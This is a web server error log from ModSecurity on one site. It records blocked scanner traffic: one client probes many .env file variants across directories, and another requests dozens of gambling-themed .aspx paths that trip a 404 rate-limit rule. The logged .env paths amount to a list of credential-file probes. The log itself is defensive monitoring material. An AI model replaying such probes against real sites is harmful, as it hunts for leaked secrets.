[Sun May 17 20:40:40.004599 2026] [:error] [pid 11079:tid 11120] [client 34.97.4.159:51872] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "agm3SGeR3-DrxhvUqxH3rQAAAlA"]
[Sun May 17 20:40:40.492173 2026] [:error] [pid 10784:tid 10803] [client 34.97.4.159:51878] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.sample"] [unique_id "agm3SGBWRlKsFkSZGxBLowAAAYQ"]
[Sun May 17 20:40:40.980643 2026] [:error] [pid 36652:tid 36673] [client 34.97.4.159:51886] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "agm3SDZrzQadnZADvj9akwAAARM"]
[Sun May 17 20:40:41.470016 2026] [:error] [pid 59060:tid 59088] [client 34.97.4.159:51894] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "agm3Sfvwvq3bndkPE4nz5AAAABM"]
[Sun May 17 20:40:41.957632 2026] [:error] [pid 11079:tid 11114] [client 34.97.4.159:51908] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "agm3SWeR3-DrxhvUqxH3rwAAAko"]
[Sun May 17 20:40:44.091762 2026] [:error] [pid 59062:tid 59124] [client 34.97.4.159:51922] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.ci"] [unique_id "agm3TD4V9GkVWmCFmGYj9gAAAIE"]
[Sun May 17 20:40:44.581385 2026] [:error] [pid 59061:tid 59096] [client 34.97.4.159:51936] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.docker"] [unique_id "agm3TIYS410zAmsYkoItFAAAAEA"]
[Sun May 17 20:40:45.069142 2026] [:error] [pid 59062:tid 59131] [client 34.97.4.159:51952] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.live"] [unique_id "agm3TT4V9GkVWmCFmGYj-AAAAIg"]
[Sun May 17 20:40:45.555626 2026] [:error] [pid 59062:tid 59132] [client 34.97.4.159:51958] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.preprod"] [unique_id "agm3TT4V9GkVWmCFmGYj-QAAAIk"]
[Sun May 17 20:40:46.046323 2026] [:error] [pid 59062:tid 59136] [client 34.97.4.159:51972] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.uat"] [unique_id "agm3Tj4V9GkVWmCFmGYj_gAAAI0"]
[Sun May 17 20:40:46.533065 2026] [:error] [pid 59062:tid 59123] [client 34.97.4.159:51980] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dist"] [unique_id "agm3Tj4V9GkVWmCFmGYkAAAAAIA"]
[Sun May 17 20:40:47.024025 2026] [:error] [pid 10784:tid 10800] [client 34.97.4.159:51984] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.swp"] [unique_id "agm3T2BWRlKsFkSZGxBLqAAAAYE"]
[Sun May 17 20:40:47.508034 2026] [:error] [pid 10784:tid 10805] [client 34.97.4.159:52000] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env~"] [unique_id "agm3T2BWRlKsFkSZGxBLqQAAAYY"]
[Sun May 17 20:40:47.996925 2026] [:error] [pid 10784:tid 10817] [client 34.97.4.159:52010] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "agm3T2BWRlKsFkSZGxBLrAAAAZE"]
[Sun May 17 20:40:48.485211 2026] [:error] [pid 36652:tid 36668] [client 34.97.4.159:52012] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/apps/.env"] [unique_id "agm3UDZrzQadnZADvj9alQAAAQ4"]
[Sun May 17 20:40:48.980963 2026] [:error] [pid 36652:tid 36663] [client 34.97.4.159:52020] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "agm3UDZrzQadnZADvj9algAAAQk"]
[Sun May 17 20:40:49.468011 2026] [:error] [pid 10835:tid 10893] [client 34.97.4.159:52022] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.env"] [unique_id "agm3UUk8lW0-dtknLl8otgAAAhQ"]
[Sun May 17 20:40:49.961876 2026] [:error] [pid 59060:tid 59089] [client 34.97.4.159:41760] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/site/.env"] [unique_id "agm3Ufvwvq3bndkPE4nz5gAAABQ"]
[Sun May 17 20:40:50.457206 2026] [:error] [pid 10784:tid 10814] [client 34.97.4.159:41762] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.env"] [unique_id "agm3UmBWRlKsFkSZGxBLrgAAAY8"]
[Sun May 17 20:40:50.945072 2026] [:error] [pid 10784:tid 10816] [client 34.97.4.159:41766] [client 34.97.4.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "agm3UmBWRlKsFkSZGxBLsAAAAZA"]
[Sun May 17 20:58:20.923454 2026] [:error] [pid 36652:tid 36658] [client 135.181.180.59:43238] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agm7bDZrzQadnZADvj9bMwAAAQQ"]
[Sun May 17 20:58:23.466887 2026] [:error] [pid 10835:tid 10879] [client 135.181.180.59:43244] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agm7b0k8lW0-dtknLl8q2AAAAgY"]
[Sun May 17 20:58:25.832884 2026] [:error] [pid 59060:tid 59092] [client 135.181.180.59:29894] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agm7cfvwvq3bndkPE4n0vgAAABc"]
[Sun May 17 20:58:28.499547 2026] [:error] [pid 59062:tid 59127] [client 135.181.180.59:29900] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agm7dD4V9GkVWmCFmGYn9gAAAIQ"]
[Sun May 17 20:58:30.980619 2026] [:error] [pid 59062:tid 59130] [client 135.181.180.59:29908] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agm7dj4V9GkVWmCFmGYn_AAAAIc"]
[Sun May 17 20:58:33.514526 2026] [:error] [pid 11079:tid 11100] [client 135.181.180.59:29924] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agm7eWeR3-DrxhvUqxH7AgAAAkA"]
[Sun May 17 20:58:35.934397 2026] [:error] [pid 10835:tid 10878] [client 135.181.180.59:57042] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agm7e0k8lW0-dtknLl8rCwAAAgU"]
[Sun May 17 20:58:38.429988 2026] [:error] [pid 10784:tid 10810] [client 135.181.180.59:57046] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agm7fmBWRlKsFkSZGxBM2gAAAYs"]
[Sun May 17 20:58:40.927926 2026] [:error] [pid 59062:tid 59135] [client 135.181.180.59:57048] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agm7gD4V9GkVWmCFmGYoBAAAAIw"]
[Sun May 17 20:58:43.461930 2026] [:error] [pid 36652:tid 36662] [client 135.181.180.59:57064] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agm7gzZrzQadnZADvj9bNwAAAQg"]
[Sun May 17 20:58:45.924515 2026] [:error] [pid 10784:tid 10811] [client 135.181.180.59:27800] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agm7hWBWRlKsFkSZGxBM3AAAAYw"]
[Sun May 17 20:58:48.443420 2026] [:error] [pid 10835:tid 10873] [client 135.181.180.59:27812] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agm7iEk8lW0-dtknLl8rDQAAAgA"]
[Sun May 17 20:58:50.985939 2026] [:error] [pid 59062:tid 59140] [client 135.181.180.59:27828] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agm7ij4V9GkVWmCFmGYoFgAAAJE"]
[Sun May 17 20:58:53.464864 2026] [:error] [pid 11079:tid 11104] [client 135.181.180.59:27834] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agm7jWeR3-DrxhvUqxH7EwAAAkQ"]
[Sun May 17 20:58:55.972658 2026] [:error] [pid 59062:tid 59139] [client 135.181.180.59:1386] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agm7jz4V9GkVWmCFmGYoIQAAAJA"]
[Sun May 17 20:58:58.483955 2026] [:error] [pid 10784:tid 10817] [client 135.181.180.59:1398] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agm7kmBWRlKsFkSZGxBM4QAAAZE"]
[Sun May 17 20:59:01.003638 2026] [:error] [pid 59062:tid 59125] [client 135.181.180.59:1402] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "agm7lT4V9GkVWmCFmGYoJgAAAII"]
[Sun May 17 20:59:03.423921 2026] [:error] [pid 59062:tid 59133] [client 135.181.180.59:1416] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "agm7lz4V9GkVWmCFmGYoLAAAAIo"]
[Sun May 17 20:59:05.863619 2026] [:error] [pid 10834:tid 10870] [client 135.181.180.59:39730] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "agm7mRISNQ_Nf83-VpqxJQAAAdg"]
[Sun May 17 20:59:08.268071 2026] [:error] [pid 59166:tid 59173] [client 135.181.180.59:39746] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "agm7nE_puQ1I47_0UrjxLwAAAMU"]
[Sun May 17 20:59:10.874915 2026] [:error] [pid 59062:tid 59132] [client 135.181.180.59:39760] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "agm7nj4V9GkVWmCFmGYoOQAAAIk"]
[Sun May 17 20:59:13.519328 2026] [:error] [pid 59062:tid 59146] [client 135.181.180.59:39772] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "agm7oT4V9GkVWmCFmGYoPAAAAJc"]
[Sun May 17 21:00:01.551068 2026] [:error] [pid 11079:tid 11119] [client 135.181.180.59:8060] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "agm70WeR3-DrxhvUqxH7TQAAAk8"]
[Sun May 17 21:00:03.935723 2026] [:error] [pid 59061:tid 59098] [client 135.181.180.59:8062] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agm704YS410zAmsYkoIuUAAAAEI"]
[Sun May 17 21:00:06.463775 2026] [:error] [pid 17234:tid 17251] [client 135.181.180.59:62926] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agm71tJ4QOrYRCeDR2hekgAAAU8"]
[Sun May 17 21:00:08.909190 2026] [:error] [pid 17234:tid 17258] [client 135.181.180.59:62928] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agm72NJ4QOrYRCeDR2hekwAAAVY"]
[Sun May 17 21:00:11.474143 2026] [:error] [pid 10835:tid 10884] [client 135.181.180.59:62940] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agm720k8lW0-dtknLl8rWgAAAgs"]
[Sun May 17 21:00:14.041562 2026] [:error] [pid 10834:tid 10849] [client 135.181.180.59:62946] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agm73hISNQ_Nf83-VpqxLAAAAcM"]
[Sun May 17 21:00:16.439599 2026] [:error] [pid 59166:tid 59177] [client 135.181.180.59:34694] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agm74E_puQ1I47_0UrjxNgAAAMk"]
[Sun May 17 21:00:18.830495 2026] [:error] [pid 17234:tid 17243] [client 135.181.180.59:34702] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agm74tJ4QOrYRCeDR2helQAAAUc"]
[Sun May 17 21:00:21.372251 2026] [:error] [pid 11079:tid 11113] [client 135.181.180.59:34718] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agm75WeR3-DrxhvUqxH7gAAAAkk"]
[Sun May 17 21:00:23.896851 2026] [:error] [pid 11079:tid 11124] [client 135.181.180.59:34722] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agm752eR3-DrxhvUqxH7ggAAAlQ"]
[Sun May 17 21:00:26.388081 2026] [:error] [pid 59166:tid 59189] [client 135.181.180.59:3296] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agm76k_puQ1I47_0UrjxNwAAANU"]
[Sun May 17 21:00:28.881370 2026] [:error] [pid 59062:tid 59147] [client 135.181.180.59:3298] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agm77D4V9GkVWmCFmGYomAAAAJg"]
[Sun May 17 21:00:31.257557 2026] [:error] [pid 10784:tid 10809] [client 135.181.180.59:3302] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agm772BWRlKsFkSZGxBM9wAAAYo"]
[Sun May 17 21:00:33.757554 2026] [:error] [pid 59062:tid 59140] [client 135.181.180.59:3318] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agm78T4V9GkVWmCFmGYooAAAAJE"]
